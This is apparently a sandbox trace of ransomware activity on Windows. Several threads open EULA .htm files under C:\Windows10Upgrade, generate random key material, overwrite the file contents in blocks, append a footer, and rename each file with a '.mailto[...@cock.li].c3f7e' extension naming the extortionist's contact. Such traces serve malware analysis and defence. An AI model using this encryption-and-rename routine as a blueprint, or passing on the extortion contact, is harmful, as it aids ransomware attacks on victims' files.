	[0088.356] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.356] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b5bf9ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.357] NtQueryInformationFile (in: FileHandle=0x1b7c, IoStatusBlock=0x2b5bf9b8, FileInformation=0x2b5bf990, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b5bf9b8, FileInformation=0x2b5bf990) returned 0x0
	[0088.357] NtSetInformationFile (FileHandle=0x1b7c, IoStatusBlock=0x2b5bf9b8, FileInformation=0x2b5bf990, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.358] FlushFileBuffers (hFile=0x1b7c) returned 1
	[0093.253] CloseHandle (hObject=0x1b7c) 

Thread:
	id = 1251
	os_tid = 0x1ff8

	[0088.358] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm")) returned 0x20
	[0088.358] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", dwFileAttributes=0x20) returned 1
	[0088.359] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b80
	[0088.359] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2b63ff34 | out: lpFileSize=0x2b63ff34*=83909) returned 1
	[0088.359] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x147c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.359] ReadFile (in: hFile=0x1b80, lpBuffer=0x2b63feb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b63feb4, lpOverlapped=0x0 | out: lpBuffer=0x2b63feb8*, lpNumberOfBytesRead=0x2b63feb4*=0x4, lpOverlapped=0x0) returned 1
	[0088.360] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.360] NtQuerySystemTime (in: CurrentTime=0x2b63fe94 | out: CurrentTime=0x2b63fe94*=132251868151006994) returned 0x0
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x5d7ac59
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x8f14415e
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x1be6407c
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x5b9aa2f
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x5e1ff3bd
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xe304fc9
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x5069390e
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xb4040403
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x79f9c6c9
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x8e16122
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xdc011706
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x60864f5
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xe187dc07
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xfd8614e6
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xc4be19d6
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xa5ef789e
	[0088.360] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x6171d804
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x53a3d06c
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x403512ec
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x59696a2b
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xb4f2d101
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xc5877211
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x8596015c
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xa8183612
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xa136cbdd
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x337a621
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xa8951099
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x6c323c16
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xcac62d3e
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xf14e3a03
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0x954a2c49
	[0088.361] RtlRandom (in: Seed=0x2b63fea0 | out: Seed=0x2b63fea0) returned 0xa04b6f7a
	[0088.369] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.369] ReadFile (in: hFile=0x1b80, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b63fe74, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b63fe74*=0xc800, lpOverlapped=0x0) returned 1
	[0088.370] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.372] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.372] WriteFile (in: hFile=0x1b80, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b63fe74, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b63fe74*=0xc800, lpOverlapped=0x0) returned 1
	[0088.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bbf58
	[0088.373] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.373] WriteFile (in: hFile=0x1b80, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b63fef4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b63fef4*=0x10d, lpOverlapped=0x0) returned 1
	[0088.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb158) returned 1
	[0088.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbf58) returned 1
	[0088.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.375] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm"
	[0088.375] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.375] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b63feac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.377] NtQueryInformationFile (in: FileHandle=0x1b80, IoStatusBlock=0x2b63feb8, FileInformation=0x2b63fe90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b63feb8, FileInformation=0x2b63fe90) returned 0x0
	[0088.377] NtSetInformationFile (FileHandle=0x1b80, IoStatusBlock=0x2b63feb8, FileInformation=0x2b63fe90, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.378] FlushFileBuffers (hFile=0x1b80) returned 1
	[0093.253] CloseHandle (hObject=0x1b80) 

Thread:
	id = 1252
	os_tid = 0x1ffc

	[0088.374] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm")) returned 0x20
	[0088.378] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", dwFileAttributes=0x20) returned 1
	[0088.378] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b84
	[0088.378] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2b6bf750 | out: lpFileSize=0x2b6bf750*=67188) returned 1
	[0088.379] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x10670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.379] ReadFile (in: hFile=0x1b84, lpBuffer=0x2b6bf6d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b6bf6d0, lpOverlapped=0x0 | out: lpBuffer=0x2b6bf6d4*, lpNumberOfBytesRead=0x2b6bf6d0*=0x4, lpOverlapped=0x0) returned 1
	[0088.380] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.380] NtQuerySystemTime (in: CurrentTime=0x2b6bf6b0 | out: CurrentTime=0x2b6bf6b0*=132251868151162995) returned 0x0
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x52096279
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x21fb2d62
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x41b9019c
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xbb1194a9
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x69e47381
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xd66fce4c
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xf9ba5726
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x22d985dc
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xb55edc63
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x6fbd2b8f
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xac54938b
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x62356f06
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x20885496
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xc4b641f8
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x843d198
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x97ad3f2d
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xf10e1dfb
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xcc0a8d85
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x12968007
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x9e51e226
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x25e626dc
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xc1c36d75
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xe6c118f5
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xb90d9149
	[0088.380] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x99c9b01e
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xc10a91c9
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x52638178
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0xa985d63c
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x3db7726f
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x6b9933b2
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x3d947640
	[0088.381] RtlRandom (in: Seed=0x2b6bf6bc | out: Seed=0x2b6bf6bc) returned 0x381f010a
	[0088.389] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.389] ReadFile (in: hFile=0x1b84, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b6bf690, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b6bf690*=0xc800, lpOverlapped=0x0) returned 1
	[0088.390] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.392] WriteFile (in: hFile=0x1b84, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b6bf690, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b6bf690*=0xc800, lpOverlapped=0x0) returned 1
	[0088.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bb510
	[0088.395] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.395] WriteFile (in: hFile=0x1b84, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b6bf710, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b6bf710*=0x10d, lpOverlapped=0x0) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb158) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb510) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.406] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm"
	[0088.406] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.406] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b6bf6c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.407] NtQueryInformationFile (in: FileHandle=0x1b84, IoStatusBlock=0x2b6bf6d4, FileInformation=0x2b6bf6ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b6bf6d4, FileInformation=0x2b6bf6ac) returned 0x0
	[0088.407] NtSetInformationFile (FileHandle=0x1b84, IoStatusBlock=0x2b6bf6d4, FileInformation=0x2b6bf6ac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.408] FlushFileBuffers (hFile=0x1b84) returned 1
	[0093.254] CloseHandle (hObject=0x1b84) 

Thread:
	id = 1253
	os_tid = 0x1200

	[0088.389] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm")) returned 0x20
	[0088.393] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", dwFileAttributes=0x20) returned 1
	[0088.393] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b88
	[0088.393] GetFileSizeEx (in: hFile=0x1b88, lpFileSize=0x2b73fad0 | out: lpFileSize=0x2b73fad0*=67224) returned 1
	[0088.393] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x10694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.393] ReadFile (in: hFile=0x1b88, lpBuffer=0x2b73fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b73fa50, lpOverlapped=0x0 | out: lpBuffer=0x2b73fa54*, lpNumberOfBytesRead=0x2b73fa50*=0x4, lpOverlapped=0x0) returned 1
	[0088.396] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.396] NtQuerySystemTime (in: CurrentTime=0x2b73fa30 | out: CurrentTime=0x2b73fa30*=132251868151319806) returned 0x0
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x98065dd2
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x93a3d82f
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xe0b7b792
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x49907f88
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xcd76e3d1
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x5548ac6f
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x7e8d042b
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xcb86746d
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x802ec3a9
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xf9a8aa70
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x24e5181f
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0x294d6998
	[0088.396] RtlRandom (in: Seed=0x2b73fa3c | out: Seed=0x2b73fa3c) returned 0xcd7daa98
